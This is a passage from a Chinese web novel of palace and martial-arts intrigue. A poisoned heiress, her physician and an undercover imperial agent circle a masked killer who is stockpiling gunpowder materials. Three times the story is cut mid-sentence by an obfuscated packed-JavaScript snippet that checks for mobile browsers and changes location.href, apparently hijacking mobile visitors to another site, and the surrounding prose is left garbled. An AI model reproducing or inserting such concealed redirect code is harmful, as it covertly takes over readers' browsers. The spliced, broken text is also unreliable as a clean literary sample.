那双黑如墨玉的瞳仁定定地看着他,没有责怪,没有痛苦,甚至没有期待,只有单纯的对答案的渴望。 这样的眼神,犹如一记鞭子抽在瞿准的脸上,让他脸上火辣辣地疼。 “我不知道。”他说了实话,“你思虑太过,这毒又极损耗人的精气,若不尽早拔除,恐怕……不过,扫眉姑娘,你也不必太担心了。只要定期服下解药,再用心调养,一两年之内,也许……性命应当无虞。” 瞿准本想说,“也许一两年之内,就可配出解药了”,终究是忍住了没说。这话他一开始就说过,但是转眼间四年多过去,研制解药的进程毫无突破。无谓的希望最坑害人,他终于不敢再提。 薛扫眉一眼望穿瞿准眉间的郁色,也大致听懂了弦外之音。 “平仲,多谢你。你一身本事,为我屈居在碧霄府这么久,是我耽误了你。” 瞿准摇摇头,低声道:“不,不是这样的。我当时初出茅庐,年轻气盛,以为自己无所不能,又贪图那人手上的《玄元脉经》,才和他打下了赌。若当时我不那么冲动,也许他不会真的对你下手。我只想着证明自己,枉顾医者仁心,是我连累了你。我已在师父灵前立下重誓,不治好你,绝不离开。只是这毒当真匪夷所思,是我无能……” 他这一席话,早不是第一回说了。薛扫眉此刻疼痛稍缓,面色已好看了些,闻言微微一哂,慢慢道:“你看,你又想岔了。那人是先给我下的毒,再找的你,断无你连累我的可能。你是在救我。” “不,若我早早低头,他说不定……” 想到此处,瞿准又被无力且混乱的思绪笼罩。 四年多前的一个月夜,一个戴着半张黑漆面具的男子找到他,声线冰冷:“此毒唤作‘捣练子’,发作起来令人痛不欲生,直至心肝碎裂而死。听闻瞿扁鹊少年圣手,不知你敢不敢与在下赌上一赌?十年之内,如你能从中毒之人身上彻底拔除此毒,便算赢我,我会将《玄元脉经》全本赠予你;若你输了,其实也并不用承担什么代价;如果想退出,随时由你。怎么样?” 《玄元脉经》,那可是源自上古的医家秘籍,在江湖中佚失已近百年。瞿准的师父年轻时曾在太医院任职数年,有幸瞥见院内珍藏残本中的两页,从中受益良多;后来他改在江湖上行走,收下包含瞿准在内的一干徒弟,便也经常向他们提及此书。面具人用它作为诱饵,瞿准没有办法不上钩。 他由此开始给薛扫眉诊治,同时研习解毒之法。甫一开始,薛扫眉以为瞿准和面具人是一伙儿的,对他态度十分冰冷,一声不吭,诊疗时也极不配合;而瞿准不明就里,以为面具人定是薛家的亲朋,才会以如此珍贵的脉经作为悬赏请他出山,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364882|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于薛扫眉的抵触,他只当是她因受了灭门的打击而性情改变,还是秉持着医者的父母仁心,耐心调养薛扫眉孱弱的躯体。 直到有一次,薛扫眉因为拒服解药而疼晕过去,薛兼请了瞿准过来诊治。瞿准以为是薛扫眉又悲伤操劳过度才毒发的,实在见不得自己的病人如此自苦,待她醒来之后,大肆唠叨了一番——他原本以为自己这次又是自说自话,谁知当提及面具人的“一番苦心”时,那素来古井无波的病人忽然眼睫微动,乌黑的瞳仁望过来,让他心跳漏掉一拍。 借着薛兼因故离开的空档,薛扫眉第一次对瞿准开了口。 “你说的请你解毒的那个人,就是他,对我下了毒。他现在每个月十五日前会给我一粒药丸,如果我不按时服下,就会是今天这副人不人鬼不鬼的模样。那个人,他还杀了我薛家满门。” 简简单单的三句话,让瞿准几乎握不稳手中的银针。 她那时面色还能透出些血气,平静地看过来,像傍晚枝头垂下的夕颜花:“如果这些你之前不知道,那么,请你听过就忘了。找个机会逃走罢,我不希望再有人死。” 瞿准也不知自己哪里来的勇气,磕磕巴巴地回应:“我不会走。师父说过,我是他最好的弟子。有我在,你一定不会死。” 他后来和薛扫眉日渐熟稔,成了朋友。可惜的是,当日的好奇心和好胜心,都被瞿准自己的无能为力和薛扫眉的日渐羸弱逐渐消磨。一千多个日夜过去,瞿准始终盘桓在碧霄府,他不想承认却只能承认,自己还未窥得拔毒的门道,但薛扫眉的身体已如风中之烛,不知还能燃烧多久。这赌约对于瞿准来说,并非毫无代价,他付出的是数倍于治疗其他病人的精力,还有最最宝贵的时间,却未窥见半分胜算。 瞿平仲心有轮转,薛姑娘仍在咳喘,屋内一时无言。 就在此时,窗棂突然被人怯生生地扣响,阿橘在外头低声唤道:“大姑娘,薛管事来了。”她声如蚊呐,一改平时风风火火的做派,仿佛老鼠见了猫。 竟来得这么快。薛扫眉顿时敛起笑容。 阿橘话音刚落,一道沉稳男声便在门外响起:“大姑娘,薛兼来接你回府。” 薛扫眉冷笑,一言不发。 瞿准知晓薛扫眉与这位薛管事向来不睦,夹在中间,不禁有些尴尬。他尚在踟蹰,却听见薛兼又在门外道:“瞿扁鹊也在屋内么?纵使医者父母心,也应知女子清誉要紧,当避瓜田李下之嫌罢?请开门!” 这话说得颇重,瞿准还没来得及生气,薛扫眉已坐起身,面无表情地将榻上的瓷枕掷到了地上:“滚!” 瓷枕碎裂,发出清脆的声响,外间人一顿,抬脚往近处来。玉霓裳也守在外头,眼见这厢又要闹起来,腰肢一扭,便上去说和。 屋外脚步声和赔笑声混作一团,薛扫眉抓住时机,拼尽力气坐起,用仅有瞿准能听见的声音道:“向那个人多要些解药。” 时间紧迫,她气力也实在有限,只能说出没头没尾的一句话。瞿准不知她有何规划,悚然心惊——但那双饱含恳求之意的漂亮眼睛实在让人无法拒绝,鬼使神差地,他点了头。 俄顷之间,小叶紫檀打造的雅阁门扇被人从外面踹开,轰然塌了一半。 巨响尚有余音,尘埃漫舞之中,一名表情阴沉的英武青年步入房中,身后跟着玉霓裳和阿橘。 5. 第 5 章 玉霓裳亦步亦趋地跟着薛兼。 她此前曾听不同的人说过这个名字。其他人口中的薛兼,是薛家老管事早年送去庙中当武僧教养的儿子,薛家灭门案发生后,他才上门寻亲,被薛扫眉收用至今,二人一同振兴了薛家的产业,是个文武兼备、精明强干的生意好手;但薛扫眉和她说起薛兼时,却从未将他视作同伴,反倒流露出深深的厌恶和忌惮,甚至在让她做事时,还特意提过“要提防那个叫‘薛兼’的人”。 玉霓裳在风月场中见惯了各色人等,今日头一回见薛兼,便从他身上嗅到了不一样的气息。这人虽打扮寻常,但说话行事干练果决,还是个练家子。 他身上,有杀气。 玉霓裳面上带笑,心中却惴惴。她此前为完成薛扫眉的嘱托,派了座下最红的姑娘如儿去接近陆缥,没曾想那该死的周少爷竟对如儿如此在意,以至于在陆缥在场的时候打上门来,还引来了薛扫眉、瞿准和薛兼这一干人等。短短半日之内,菩萨蛮内官司轮转,大姑娘病来如山倒……这趟差事是否是办砸了? 门扇坍塌激起的灰尘,令薛扫眉抑制不住地剧烈咳嗽起来。她的心肺在四年多前那个雨夜严重受损,加上这几年下来中毒所致的损耗,已受不了一点刺激。 瞿准眼疾手快地放下床帏,转身面对来者。医者对于自己的病人总会有些保护欲,趋使他明知自身不敌,也想挡在薛扫眉身前。 不过,薛兼好像也没有他想的那么来势汹汹。薛扫眉的一通咳嗽,好似令他稍有忌惮,收起了一些锋芒。一直等到薛扫眉气息平复,薛兼方才开口:“大姑娘,此地不宜久留,回去罢。” 他说话一板一眼的,虽不再带着火气,但也不像是在请示,只是在通知。 床帏内倩影微动,薛扫眉含混地应了一声,用力啮破下唇,将鲜血洇上指尖。 薛兼拨开瞿准,正待上前揭开床帏,却被薛扫眉含混喊住:“朱妈妈今日跟车来了的,你让她来。” “她来不了了。”今日正是朱妈妈通传周烈踪迹,才引薛扫眉进了这下九流的地方,还被气得发病,薛兼当然不可能这么轻易放过她,“她说了不该说的话,已经被我打发了。” 轻描淡写的一句话,旁人可能不以为意,但薛扫眉却不寒而栗。 薛兼,这个她名义上的生意副手、薛家临危不倒的功臣,其实并非像传闻中那样,是后来才寻上门来的,他也并不是老管事的儿子。 薛扫眉第一次见他,是在灭门案发生的当晚。此人站在贼首的身边,亲手用刀刃穿透了老管事的后背。 薛扫眉当时还不明白,为什么其他人都戴着面具,只有他没戴。等“薛兼”带着全新身份、出现在她面前时,她才恍然:不是暗子,自然不需要遮挡身份。他于是从面具人麾下的一介无名杀手,摇身变成了薛家的新管事“薛兼”,寸步不离地监视着薛扫眉,也实际把控着薛家的财富。 那么,薛兼口中的“打发”,自然也不是简单的打发;轻则发卖,重则…… 薛扫眉不敢细想,借着绣被遮掩,加快了手上的动作,写完了那个字。她体力不支,手指抖得不像样子,不知玉霓裳是否能认出它来? 她兀自担忧着,未加防备,薛兼已拂开床帷,站定在她面前。 他表情素来寡淡,一双利眼只有在眼睫低垂时,才肯流露出些微罕见的温柔。 一如此刻。 但薛扫眉并不能捕捉到这缕微妙的情绪。她坐在一团锦绣之中,面色如冰,看也不看他一眼,只扭头唤阿橘:“另外找个仆妇来背我上车。” 阿橘最怕薛兼,巴不得能有借口离开,如接到圣旨一般,立刻退下去办。 薛兼忽然瞥见她唇上那抹妖异的殷红,皱眉问:“大姑娘唇上为何有血?” “方才太疼,我自己咬破了。”薛扫眉冷声答。 薛兼不疑有他。他习惯了薛扫眉的冷漠,一时无话。 玉霓裳偷眼看薛扫眉的脸色,确定东家已无大碍了,这才安下心。 做戏要做全套,明面上,这该是薛大姑娘和她玉霓裳的第一次相见,起承转合,她该演个囫囵的。 于是玉霓裳踱步上前,笑道:“奴家玉霓裳,给薛大姑娘请安了。饶恕则个,今日第一回见,就有诸多惊险,实在是大姑娘福大命大,化险为夷。几位安心,水光阁中俱是我心腹之人,今日大姑娘驾临之事,绝不会外传。” 她转过身,纤手一扬,陪在后头的潋滟姑娘从阴影里露出脸来,满是赔笑神色。玉霓裳偷眼向后看了看,发现常随侍她左右的龟奴老齐,此刻竟不见踪影——这老乌龟,想来是料知此间麻烦,送走陆侯之后,就找地方自个儿躲懒去了,回头一定好好敲打他——玉霓裳暗自腹诽。 薛兼可不是个好打发的主儿,冷笑一声,森然侧目道:“哦?可在下听说今日周公子和新上任的那位陆御史也在。玉老板打算如何封住他二人之口?” 玉霓裳哂道:“看这位通身的派头,是薛管事罢?奴家这厢有礼了。这整个碧霄府,谁不知道周公子与薛大姑娘是未婚夫妻呢?刚才看到薛大姑娘气倒,周公子惭愧无地,很快放下争执回家去了,自然不会提起自己干的混账事情。至于陆御史……人家是未央京来的钦差大官,晓得利害,刚才与薛大姑娘一句话都未说过,后头也很快就离开了,依我看,就是在避嫌呢。回头我让潋滟再和他吹吹枕边风,也就罢了。” 玉霓裳话音刚落,薛扫眉便咳了一声:“玉老板做事妥帖,我信得过。在这里的还有瞿扁鹊,我也信得过。”她话说得断续,在“瞿”和“也”字上停了口气,勉强将句子说完了。 玉霓裳面上笑容不改,暗中记下这句话。 薛兼定定地看着玉霓裳,见她神色无异,半晌终于开口:“如此,多谢。” 话说到这里,阿橘已带人回来了。 薛扫眉爬上仆妇的肩头,趁薛兼先转身出去的档口,用眼神示意玉霓裳去看那被衾。玉霓裳心领神会,暗自后撤一步,笑吟吟地告了个罪,只道自己要亲自收拾这里,让潋滟送来客出去便罢。 薛扫眉又回过头,对瞿准眨眨眼,叮嘱他:“平仲,答应给我的药,记得配齐了送来。多谢你。” 瞿准想起她方才所托,会意点头。 待他仔细收好银针,薛家主仆早已次第下了楼,不见踪影。雅阁中只剩他与玉霓裳二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛家马车在坊市间驶过,像一尾美丽的鱼,静默地游过热闹的藻丛。薛兼骑马跟在马车侧边,嘴唇紧抿,显露出紧绷的下颌线。他习武多年,耳力异于常人,将马车内的动静——包括薛扫眉竭力隐忍的咳嗽、举起杯盏时瓷器颤抖碰撞之声以及阿橘低声的宽慰——均悉数洞察。 “慢些。”他压低声音对车夫说。 这句话教薛扫眉听见了。于是车厢内立时传来她的一声嗤笑,好似银针扎向他的耳膜。 过了一阵子,车厢内动静稍歇,想来是薛大姑娘痛累了一天,已脱力睡着了。 四年多以来,这是第一次薛扫眉毒发提前,而这世间除了她本人之外,只有他薛兼、瞿准和主人三人知晓薛大姑娘并不是患病,而是身中奇毒。瞿准并无联系主人的渠道,还需自己想办法将消息尽快传递上去;否则,她也不知能熬过几次发作,恐怕她……恐怕会耽误大局。 薛兼打定主意,用更低的声音对车夫道:“再慢一些。” 与此同时,龟奴老齐揣着陆缥赏的一两金,大摇大摆地走进了两条街外的时来春茶楼。 当天夜里,以暗语写就的条子就递到了陆缥手里。 6. 第 6 章 修长食指落在略微泛黄的楮皮纸上,次第划过。 烛焰静静燃烧,光晕斜染,在桌面为那只手投下一小片剪影,随手主人的动作慢慢移动。 陆缥凝神静气,于脑海中将纸条上的每个复杂符号转化为三位数字索引,分别对应甲午版兵书《连山经》页码、行数及列数,定位具体的字,译出老齐真正想表达的意思。 自弘文二十三年他被召回未央京开始,这位曾威震西北的少年将帅便交回军权,明面上做了皇帝亲军金鳞卫的挂名副统领,实则在人称“血滴子”的特务机构“备用处”中秘密任副提督一职,是血滴子的二把手。三年多了,他对血滴子这套用来传递信息的密文,可谓烂熟于胸。 一个月之前,一向对陆缥爱重有加的弘文帝深夜诏他进宫,次日便下旨将他改任为从五品监察御史,发配到千里之外的碧南道来。连降七级,这可不是普通的左迁!朝中众人议论纷纷,待陆缥如父如兄的小舅舅勤国公更是如坐针毡;惟有他本人面如平湖,领旨谢恩后,便带着小厮簪缨径直南下,箱笼都没带两件。 天威君恩,雷霆万钧,陆缥当然不可能不惧怕。只不过这次南行,并不是惩罚,而是皇帝姨夫给他的终极考验:只要办好那件事,他便可重新获得弘文帝的全盘信任,再回西北。 要办好那件事,自然要先将血滴子散落在碧南道的势力串珠成线,重新布置起来。这其中极重要的一环,便是菩萨蛮。四年前,当菩萨蛮仍为官家教坊时,其掌事玉璇玑便是江南六道血滴子的秘密头目之一。玉璇玑出逃、菩萨蛮被买下改制后,原先她统领的情报网络逐渐蒙尘。彼时,皇帝即位已逾二十年,根基稳固,江南又惯来富庶无波,便对此事轻轻放过。 可如今不一样了。 眼下最可能掀起的滔天巨浪,根源便在此地。 陆缥用兵多年,最擅长因势利导、因地制宜。初到碧霄府时,他便打算利用自己在未央京中营造数年的风流形象,先到如今的菩萨蛮中探一探风声。谁知如有神助,天上掉下个潋滟姑娘,正好成全了他一番盘算。龟奴老齐是羽衣楼老人,在菩萨蛮蛰伏多年,很快通过陆缥佩戴的信物和血滴子特有的手势,认出了新来的上峰。陆缥在菩萨蛮流连数晚,每夜只需为潋滟姑娘燃上一支安眠香,便可与老齐畅叙无碍,深入了解数年以来碧霄府势力的消长。 陆缥闭上眼,纸条上符号转译出的文字盘旋跳跃,最终在他脑海中拼成数行。 “周归家。薛女非病,乃毒发,需定期服解药。医圣弟子瞿与人打赌解毒,未果。薛家管事兼带走薛女,二人似不睦。玉留瞿,令其转赠香丸予薛女。” 长睫一颤,陆缥无表情地睁开眼。 纸条被举近烛芯,很快便沉默地燃烧起来。 江南首富薛家,不仅老齐曾和他提过,就连碧霄府的父母官、知府陈相如,也在接风宴上特意介绍过。 薛家前代家主薛昭,本是未央京中的破落户,但他胆识过人,赶在弘文三年海禁之前出海做了两趟生意,挣下了家底,而后便携妻儿在碧霄府定居下来。近二十载经营后,薛家已成为江南六道最为豪富的人家。薛昭行事低调,但为人圆融,乐善好施,享誉江湖。 但天有不测风云,弘文二十二年,一伙匪徒见财起意,一夜之间几乎将薛家满门屠尽,只有刚从外游历归家、待嫁闺中的薛昭独女活了下来——便是陆缥今日见到的那位戴着面具、羸弱不堪的薛大姑娘了,她如今是薛家的掌门人。 陆缥回想起薛大姑娘在周烈面前哽咽陈词的样子。他当了这么多年鹰犬,早已练就一双足以洞悉人心的利眼。薛大姑娘指责周烈的一席话,把来龙去脉交待得太过完整,眼圈虽红,眼中却毫无泪意,并不似真的伤心……反倒像是在提点周烈,怎么演得更真些。 更重要的是,见惯了风浪的玉霓裳见薛大姑娘昏倒,竟然瞬间变了脸色,连他这位贵客都顾不上招呼,匆匆就离开了。要说她们完全不认识,恐怕有些牵强;但如果她们认识……尚在深闺的薛家家主和沦落风尘的青楼掌事,是怎么认识的? 那么,四年前玉霓裳自**赎其身,还直接买下了整座羽衣楼,真是她自己一人的手笔么?玉璇玑至今下落不明,现下该在何处?前几日刻意出现在他面前的菩萨蛮头牌姑娘,究竟受谁指使?老齐曾怀疑玉霓裳只是菩萨蛮的挂名东家,真正的东家,是谁?他/她和陆缥上任途中遭遇的三场刺杀,以及弘文帝交办的那件事,到底有无关系? 燃烧的纸条已完全消融,灰烬尽数坠在烛泪中。光焰映入陆缥眼中,竟将一双幽深瞳仁点染成了诡异的深琥珀色。 窗外电光乍闪,紧接着巨雷炸响。秋雨就要来了。 陆缥推开门,迎入猎猎晚风。 簪缨守在门外,差一点儿便要掉进黑甜乡,忽然被雷炸醒,懵懂间又见自家侯爷举步而来,揉揉眼睛,问:“侯爷可是处理完公务,要安置了?” 陆缥拍拍他的小脑袋:“你先睡,我去府衙查一档旧案。” 这一夜,碧霄府雨覆如泼。 薛扫眉抱紧自己的膝盖,坐在床头。素色丝被从她肩头滑落,凌乱地堆垂至床边踏步上。房内四下布满了蜡烛,光焰跳动,亮如繁星,却赶不走夜色。 自从薛宅灭门血案发生之后,她便再也无法在暴风雨席卷的夜晚入睡。 不敢入睡,是因为害怕醒来。 四年多前的那个雨夜,薛扫眉在剧烈的头痛中醒来,娇声唤自己的贴身丫鬟阿柚来服侍。 她五岁时,因桑罗观清源道长判下的“八字凶险,不利阖府”的谶言,而被迫离家清修,一去就是十年。直到母亲曾氏病笃,才被接回。薛昭夫妻自觉亏欠女儿甚多,一意弥补,经年未见的兄长薛斐也对这个唯一的妹妹爱重有加。正所谓“恃宠而骄”,薛扫眉归家数月,不觉间脾气已骄纵了不少。 喊了好几声,也不见有人应答,她怒上心头,扬手便把床边小几上的珍珠摆件挥到地下,响声之大把自己都吓了一跳。 可阿柚还是没来。 薛扫眉这才觉得有些不对,决意自行下床查看。 她一向浅眠,因此屋子里只点了一支并不高大的蜡烛,眼下光线微弱,倒是沉水香燃出的烟雾缭绕可见,床前亦有一片冰霜似的反光, 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薛扫眉悚然回头。她的眼睛已经逐渐适应这黑暗,隐约可以望见一袭黑影,正沉默地盘踞在屋子当中的地板上。又一道电光闪过的刹那,薛扫眉看清了那袭黑影。那是一丛茂密蜿蜒的长发,中间包裹着一个球状物体,旁边散落着一条被血水染透的发带。 她认得它。那是阿柚最喜欢的一条发带,原本是粉红色的。 被裹在长发中的,是阿柚被砍下的头颅。 薛扫眉从回忆中挣脱出来,抬手碰了碰自己脸,并未摸到湿痕。几年过去,她像一条逐渐干枯的河流,已经失去了流泪的能力。今日在菩萨蛮“控诉”周烈时,她本想配合着掉几滴眼泪,可惜泪腺干涸,一滴也流不出。看来用力掐自己已经不顶用了,下次如需做戏,还是用点胡椒罢。 房间里还是有些暗,该让阿橘再点些灯。 薛扫眉定定心,拉动垂至床头的丝绦,清脆铃声击碎长夜。 厢房门外立刻有人应道:“大姑娘。”声线沉稳,不是本该值夜的阿橘,而是薛兼。 薛扫眉立刻竖起了浑身的刺。雨夜、薛兼……这实在让她无法不警惕。 “怎么是你?” “是主人来了。” 原来如此。 薛扫眉冷笑一声:“薛管事今日不是在菩萨蛮踹了人家半扇门吗?我懒得起身,你请自便。” “是。” 门闩应声被人从外切断。夜色和风雨在房门洞开时瞬间涌入,冷气侵袭,激得薛扫眉抑制不住地咳嗽起来,也吹熄了最靠外头的灯台。朦胧间,一道颀长的影子将用以切断门闩的长剑掷回给薛兼,慢慢走到她床前。 那人面上覆着一张黑色皮面具,只露出两孔森冷的眼睛,一如四年多前雨夜初见。 这便是屠尽薛家满门的匪首,薛兼和她如今的“主人”。 面具人并未径直走向她,而是折到屏风旁,重新点着了方才熄灭的半截残烛。 火光映亮了那一只手。它白皙修长,骨节分明,但在薛扫眉看来却如鬼爪般丑陋可怖,只因上头曾沾满了薛家人的血。她目不转睛,眼眶渐热。 薛兼缄默地带上房门,只留他们二人在屋内。 7. 第 7 章 面具人信步踱来,向薛扫眉迫近。 “你这次毒发,提早了五天。”他声音暗哑,犹如鬼魅,“为什么?” “我……我不知道。”薛扫眉竭力不让恐惧攫住自己的咽喉,却止不住地脊背发寒。 面具人冷声道:“你尽管折腾自己的性命,我是无所谓的。当年我能造出一个‘薛兼’,自然也能再造一个更听话的‘薛大姑娘’。只不过到时你兄长会怎么样,那就难说了。” 薛扫眉低下头,丝被下紧握成拳的双手不由自主地颤抖起来。 四年多前的惨案,其实她不是唯一的幸存者。她的兄长、薛家大少爷薛斐,在血案现场留下了一条被砍断的左胳膊,但却寻不到尸首。当时,眼前这人也是声音嘶哑地告诫她:“他能活命与否,全看你的表现。” 薛扫眉向来骄纵,最恨被人拿捏。当日情状下,薛扫眉恨不得追随父母而去。可薛斐是她在世上唯一的血亲了。为了兄长,她只能选择苟活。 “属下,听命。”她低下头。 “还有一事——我要硫磺两千斤,硝石四千斤,木炭六千斤。给你半年时间,先预备着,注意分开存储。” 薛扫眉暗惊。她幼时随女道士在外游历,曾听说过民间流传的“一硫二硝三木炭”的火药配比。当年曾有师姐在炼丹时不慎错配了类似比例的硫磺和硝石,致使金炉爆裂,炸死了两个小道童。 而今此人要的,是以数千斤计的火药原料。他一定有大阴谋。 “为何要分开存储?”她假作无知。 “不必多问,照办便是。”面具人对她并无耐心,话锋骤转,“对了,那个姓陆的狗官,你料理得如何了?这回是你主动请缨去对付他的,可别令我失望。听薛兼说,你今日在菩萨蛮见了他,可有什么收获?” 菩萨蛮和玉霓裳是她精心织就的暗线,绝不可暴露在面具人眼下。“今日只不过是巧合,我原是去见周烈的。关于陆……狗官,我已经让陈知府和他吹了吹风。此人在未央京中就有风流荒唐的名号,这几日都宿在菩萨蛮,我会另想办法接近他。”薛扫眉避重就轻道。 面具人目沉如水:“此人不简单。我在进城山路上派人埋伏过他一次,他功夫极好,竟然毫发无损地到了碧霄府。可惜,此人是外戚,此次左迁又被各方瞩目,既已上任,恐怕不方便像老蔡一样直接处理了。” 薛扫眉垂眼无言。看来周老爷口中“告老还乡”的前任御史蔡大人,此刻已不在人世了。她曾与蔡大人有过数面之缘,那是个对子侄辈极为和蔼的老夫子,膝下有个喜欢弹奏柳琴的小孙女。虽然他始终不敢接她的状子,但……罪不至死。 面具人好似看出了她的不忍,不禁冷笑道:“姓蔡的老儿当年深受先帝知遇,却是头几个倒戈相向的。如此狼心狗肺之徒,有个全尸,已是便宜他了。至于新来的这位御史,如不能为我们所用,你需得找个机会除去他,决不能节外生枝。” 薛扫眉直觉他的这段话中有些不对劲,表面上低眉顺眼地应了,实则暗自逐字记下。 “你刚才说周烈,这等跳梁小丑,趁早收拾了好,免得误事。” 薛扫眉心头一跳,慎重道:“我会尽快与他家退婚。” 面具人目光阴鸷,深深地盯着她看:“记住今天我说的话,凡事多想想你的兄长。我不需要不听话的属下。” “……是,属下一定安心静养,为主人分忧。” 他对她的顺从很是满意,转身推开虚掩着的门,很快隐入夜幕之中。 薛扫眉冷然目送他离开,视线下移,凝在青金陶砖铺就的地面上。 这种陶砖产自燕国最南端的岭南道,经复杂工艺制成,又精心上好了桐油,光可鉴人——还不吸水。 面具人刚才行走站立的地方,赫然留下了一行鞋印。 薛兼还守在外头,听见薛扫眉房中有动静,立刻警觉:“大姑娘,可有事么?” 他的手已经放在了门上。厢房门此刻失去门闩的支撑,只需轻轻一推就能敞开。可她本来卧在拔步床最深处,即使此刻已勉力挪动到了床沿,离最近的脚印尚有五步之遥。 薛扫眉心一横,双手使力,将自己从床上反向推了出去。 几乎就在薛兼推开房门的同一时刻,她滚落到了那条湿痕旁,用右手覆上最清晰的一枚鞋印。它有五指宽,长度则从她中指顶端直至腕线下方一寸半,约有八寸长。无论是大小,还是鞋底花纹,都再寻常不过了,无法称之为线索。 薛扫眉有些失望。她用力蜷起手指,试图在支起自己身体的同时,不动声色地将那鞋印抹散,可却发现自己一点儿力气也没有了。情急之下来不及感受的、从高处跌落又被冰冷地面碾压的疼痛,此刻如冰川雪水渗入岩缝一般,一点一滴,浸透她的四肢。她又一次被折断双翼,按在泥泞中,只剩下喘息之力。 这一天对她来说,实在是太漫长了。 薛扫眉阖上双目,在薛兼难得惊慌的呼喊中,彻底陷入了黑暗。 *** 翌日一早,天还没亮,瞿准便被请进了薛宅。 迎他入门的薛兼,一改昨日的酷戾神色,显得很是客气。薛大姑娘昨天深夜坠床昏迷,后头虽然醒转过来,但总说身上疼痛,几乎一晚没睡。薛兼、阿橘等人心急如焚,好容易才等来了瞿准这位救星。 瞿准听他们这么一说,原本也有些焦急,直到为薛扫眉诊脉时,她向他眨了眨眼。 脉象并未变得更差,她身上也不过是轻微的皮肉伤。瞿准这才放下心。 联想起玉霓裳那日嘱托他在复诊时将香丸转交给薛扫眉,瞿扁鹊此时很难不怀疑薛扫眉“坠床昏迷”的动机。他知晓薛扫眉在困境中挣扎的苦衷,但也实在不喜病人作践自己的身体,忍不住流露出些微责备的神色。饶是如此,他还是拿出了那枚香丸。 当着薛兼的面,瞿准只说这名为“秋风湖上”的香丸安放于枕侧,有助眠的功效,并未提及菩萨蛮或玉霓裳的名号。不知是否是他的错觉,这句话说完,薛扫眉苍白的脸上便隐约泛起笑意,薛兼的脸色则随之难看了起来。 薛扫眉为什么笑,瞿准是不懂的。薛兼为什么不悦,瞿准倒是明白。不知从何时起,只要薛扫眉待自己稍有亲昵,薛兼就会挂上这副脸色,简直百试百灵。 “平仲,”薛扫眉唤他的字,“我再休养十余日,便可出门了么?” 见瞿准皱眉,她叹了口气,解释道:“陈知府新买的薮春别院,这个月下旬便要落成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364885|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,他前两日给我下帖子,邀我去赴宴呢。他是父母官,我不敢不去。” 瞿准勉为其难:“那你这几日一定按时服药,好好休息。” 薛扫眉又笑,显然很满意他的答复:“好。我这两天一定大睡特睡,把昨夜缺的觉都补回来。” 她昨日半夜里,在半梦半醒中,找到了面具人言辞中的漏洞——他说前任蔡御史“当年深受先帝知遇,却是头几个倒戈相向的”,这话不对。 蔡御史其人,薛扫眉从前也是调查过的。他早年屡试不第,直到近四十岁,才被先太子府聘为文书,数年后靠捐官谋了个外放差事。当今官家坐上龙椅之后,老蔡又在本朝奋斗了二十多年,最终爬到从五品监察御史的位置。要从他的履历看起来,“深受先帝知遇”,是万万说不上的;对先帝“倒戈相向”,更是莫名其妙。 那便只有一种可能——面具人口中的“先帝”,不是当今官家的皇父,而是皇兄——那位在二十六年前,尚未来得及践祚,便忽然薨逝的先太子。 这帮贼人尊先太子为“先帝”,蔑称本朝官员为“狗官”,攫取财富,囤积炸药……如果他们想做的事情如她所想,那江南六道乃至于整个大燕,都可能陷于危险之中。 事关重大,她不能只凭推测。当年先太子是否曾经即位?这帮贼人与先太子有何关系?他们又为何盯上了薛家,却唯独放过她?这些疑问互相缠绕,越滚越大,令薛扫眉再也睡不着了。 直到她忽然想起在白日里头瞥见的,那双似笑非笑的桃花眼。 ——陆缥。 他是皇后嫡亲妹妹的独子,从最接近权力中心的未央京南下而来。当年的宫闱秘事,他也许会知道。 他也是闻名轩辕陆的少年将军、大燕有史以来最年轻的侯爵。这样的人,就算风流阴鸷,也不该当像老蔡那样懦弱怕事、蝇营狗苟。面具人期望陆缥能为他所用,应允薛扫眉去接洽陆缥,正合她意。 也许,正如她一刚开始构想的那样,陆缥会成为自己扳倒面具人、替家人复仇的破局之子。只要玉霓裳没发现陆缥有什么古怪,薛扫眉便愿意试上一试。 薛扫眉一夜未眠,终于理清了思绪。她呼喊着身体疼痛,就是为了早些见到瞿准,拿到玉霓裳递来的信息。 所幸诸事皆顺,眼下她已得到了自己想要的东西。 瞿准沉迷于研究医术、草药,不工文墨,自然不知道薛扫眉最喜欢的前朝词人苏子瞻曾写过首句为“秋风湖上萧萧雨”(注1)的词句——词牌名正是“菩萨蛮”。薛扫眉听到香丸的名字,便知它来自于菩萨蛮。她故意让瞿准开出“好好休息”的医嘱,也是为了争取更多的独处时间,以便细细拆解那好不容易递进来的“秋风湖上”。 昨夜暴风骤雨,今朝倒是风和日丽。瞿准功成身退,背着药囊走了,房门开闭之间,漏进几声鸟雀娇啼。叽叽喳喳的,虽然喧闹,倒也颇具生机。 薛兼也带着侍女们下去了。 薛扫眉将那香丸放置于枕侧,缓缓躺倒下去。她有得是耐心,等夜深人静时,再拆开香丸也不迟。希望玉霓裳——不,希望陆缥,别让她失望。 